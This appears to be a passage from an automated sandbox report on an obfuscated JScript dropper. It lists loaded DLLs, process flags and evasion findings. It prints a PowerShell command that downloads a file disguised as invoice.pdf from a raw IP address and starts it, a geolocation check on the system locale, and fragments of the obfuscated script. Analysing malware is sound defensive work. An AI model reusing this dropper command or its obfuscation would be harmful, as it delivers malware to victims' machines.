Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9377.js.csv");ITextStream.WriteLine(" entry:7833 f:ssftv");ITextStream.WriteLine(" exec:2 f:ssftv");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4601			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5256			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7080	Thread sleep count: 4601 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7072	Thread sleep count: 5256 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1908	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1216	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6988	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7220	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.1662301961.000002C768572000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vcjmzicye + vmcitl +X!Wh
Source: wscript.exe, 00000000.00000003.1661280108.000002C7685BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmcitl = "K";
Source: wscript.exe, 00000000.00000003.1661280108.000002C7685BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmcitl = "p";
Source: wscript.exe, 00000000.00000003.1661280108.000002C7685BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmcitl = "O";
Source: net.exe, 00000006.00000002.1727697952.0000024537048000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpi
Source: net.exe, 00000006.00000002.1727697952.00000245370B2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2947920123.000001D978E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2948761392.000001D97E255000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.1662301961.000002C768572000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmcitl = "e"
Source: wscript.exe, 00000000.00000003.1661421315.000002C768575000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: + vmcitl +
Source: wscript.exe, 00000000.00000003.1661280108.000002C7685BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmcitlh
Source: wscript.exe, 00000000.00000003.1662301961.000002C768572000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmcitl = "p";
Source: wscript.exe, 00000000.00000003.1661421315.000002C768575000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmcitl "I";
Source: wscript.exe, 00000000.00000003.1661280108.000002C7685BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: jbxhook_index_0 ( 275, this[gweddrmt + teejmom + bouohmpur + krawtzh + sjhmdrhkx + vmcitl + iqcmfqwuh], njowfma + dzsmebnc + sjhmdrhkx + iqcmfqwuh ) ;
Source: wscript.exe, 00000000.00000003.1661280108.000002C7685BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmcitl = "e";
Source: wscript.exe, 00000000.00000003.1661280108.000002C7685BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmcitl = "d";
Source: 12315203731832427262.js	Binary or memory string: function ssftv(){bmujsxdbm=[1031,3079,5127,4103,2055,3072];var shoxmxt=this[vmcitl+ybikdjp+krawtzh+ykozgmki+xmzogoo+njcnklyu+wigfmu+iqcmfqwuh](this[gweddrmt+teejmom+bouohmpur+krawtzh+sjhmdrhkx+vmcitl+iqcmfqwuh][gkxtyyobo+krawtzh+xmzogoo+ybikdjp+iqcmfqwuh+xmzogoo+arfko+uxffazya+nwbhav+xmzogoo+bouohmpur+iqcmfqwuh](gweddrmt+teejmom+bouohmpur+krawtzh+sjhmdrhkx+vmcitl+iqcmfqwuh+vcjmzicye+teejmom+gkxtsqno+xmzogoo+dnggnny+dnggnny)[kdrtpxf+xmzogoo+vwffxfpr+kdrtpxf+xmzogoo+ybikdjp+llrljlm](phein+wnlxx+rstpzm+jravdq+febkopmz+gkxtyyobo+goovps+kdrtpxf+kdrtpxf+rstpzm+vsuid+eyvnndd+febkopmz+goovps+teejmom+rstpzm+kdrtpxf+ysjglli+gkxtyyobo+bujxgkiq+wigfmu+iqcmfqwuh+krawtzh+bujxgkiq+dnggnny+bpyecv+iokdb+ybikdjp+wigfmu+xmzogoo+dnggnny+ysjglli+njcnklyu+wigfmu+iqcmfqwuh+xmzogoo+krawtzh+wigfmu+ybikdjp+iqcmfqwuh+sjhmdrhkx+bujxgkiq+wigfmu+ybikdjp+dnggnny+ysjglli+utzitys+bujxgkiq+bouohmpur+ybikdjp+dnggnny+xmzogoo),16);for(mnggtaxjr=0;mnggtaxjr<bmujsxdbm[dnggnny+xmzogoo+wigfmu+vwffxfpr+iqcmfqwuh+gkxtsqno];++mnggtaxjr){if(shoxmxt==bmujsxdbm[mnggtaxjr]){shoxmxt=true;break;}}if(shoxmxt!==true)this[gweddrmt+teejmom+bouohmpur+krawtzh+sjhmdrhkx+vmcitl+iqcmfqwuh][njowfma+dzsmebnc+sjhmdrhkx+iqcmfqwuh]();this[gweddrmt+teejmom+bouohmpur+krawtzh+sjhmdrhkx+vmcitl+iqcmfqwuh][gkxtyyobo+krawtzh+xmzogoo+ybikdjp+iqcmfqwuh+xmzogoo+arfko+uxffazya+nwbhav+xmzogoo+bouohmpur+iqcmfqwuh](gweddrmt+teejmom+bouohmpur+krawtzh+sjhmdrhkx+vmcitl+iqcmfqwuh+vcjmzicye+teejmom+gkxtsqno+xmzogoo+dnggnny+dnggnny)[krawtzh+dzsmebnc+wigfmu](bouohmpur+lkckkj+llrljlm+bpyecv+pyeqm+bouohmpur+bpyecv+vmcitl+bujxgkiq+nqicxadyf+xmzogoo+krawtzh+ykozgmki+gkxtsqno+xmzogoo+dnggnny+dnggnny+vcjmzicye+xmzogoo+puidhy+xmzogoo+bpyecv+yurvgcp+gkxtyyobo+bujxgkiq+lkckkj+lkckkj+ybikdjp+wigfmu+llrljlm+bpyecv+sbwbl+njcnklyu+wigfmu+adhnc+bujxgkiq+wdide+xmzogoo+yurvgcp+gweddrmt+xmzogoo+uxffazya+kdrtpxf+xmzogoo+fchmp+dzsmebnc+xmzogoo+ykozgmki+iqcmfqwuh+bpyecv+yurvgcp+arfko+dzsmebnc+iqcmfqwuh+caslb+sjhmdrhkx+dnggnny+xmzogoo+bpyecv+plffvmjc+iqcmfqwuh+xmzogoo+lkckkj+vmcitl+plffvmjc+ysjglli+sjhmdrhkx+wigfmu+adhnc+bujxgkiq+sjhmdrhkx+bouohmpur+xmzogoo+vcjmzicye+vmcitl+llrljlm+eoziov+bpyecv+gkxtsqno+iqcmfqwuh+iqcmfqwuh+vmcitl+avgxuwcs+pyeqm+pyeqm+jhigg+xrmbna+eaftbasg+vcjmzicye+jhigg+fopag+eaftbasg+vcjmzicye+jhigg+vcjmzicye+rszfriydf+ucglumzb+vgbqfbezm+pyeqm+sjhmdrhkx+wigfmu+adhnc+bujxgkiq+sjhmdrhkx+bouohmpur+xmzogoo+vcjmzicye+vmcitl+gkxtsqno+vmcitl+sbwbl+ibsfn+ibsfn+ykozgmki+iqcmfqwuh+ybikdjp+krawtzh+iqcmfqwuh+bpyecv+plffvmjc+iqcmfqwuh+xmzogoo+lkckkj+vmcitl+plffvmjc+ysjglli+sjhmdrhkx+wigfmu+adhnc+bujxgkiq+sjhmdrhkx+bouohmpur+xmzogoo+vcjmzicye+vmcitl+llrljlm+eoziov+ibsfn+ibsfn+bouohmpur+lkckkj+llrljlm+bpyecv+pyeqm+bouohmpur+bpyecv+wigfmu+xmzogoo+iqcmfqwuh+bpyecv+dzsmebnc+ykozgmki+xmzogoo+bpyecv+ysjglli+ysjglli+jhigg+xrmbna+eaftbasg+vcjmzicye+jhigg+fopag+eaftbasg+vcjmzicye+jhigg+vcjmzicye+rszfriydf+ucglumzb+vgbqfbezm+bidlrc+elgcisr+elgcisr+elgcisr+elgcisr+ysjglli+llrljlm+ybikdjp+adhnc+nqicxadyf+nqicxadyf+nqicxadyf+krawtzh+bujxgkiq+bujxgkiq+iqcmfq
Source: wscript.exe, 00000000.00000003.1661280108.000002C7685BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: var shoxmxt = jbxhook_index_2 ( 16, this, vmcitl + ybikdjp + krawtzh + ykozgmki + xmzogoo + njcnklyu + wigfmu + iqcmfqwuh, jbxhook_index_1 ( 36, jbxhook_index_1 ( 38, this[gweddrmt + teejmom + bouohmpur + krawtzh + sjhmdrhkx + vmcitl + iqcmfqwuh], gkxtyyobo + krawtzh + xmzogoo + ybikdjp + iqcmfqwuh + xmzogoo + arfko + uxffazya + nwbhav + xmzogoo + bouohmpur + iqcmfqwuh, gweddrmt + teejmom + bouohmpur + krawtzh + sjhmdrhkx + vmcitl + iqcmfqwuh + vcjmzicye + teejmom + gkxtsqno + xmzogoo + dnggnny + dnggnny ) , kdrtpxf + xmzogoo + vwffxfpr + kdrtpxf + xmzogoo + ybikdjp + llrljlm, phein + wnlxx + rstpzm + jravdq + febkopmz + gkxtyyobo + goovps + kdrtpxf + kdrtpxf + rstpzm + vsuid + eyvnndd + febkopmz + goovps + teejmom + rstpzm + kdrtpxf + ysjglli + gkxtyyobo + bujxgkiq + wigfmu + 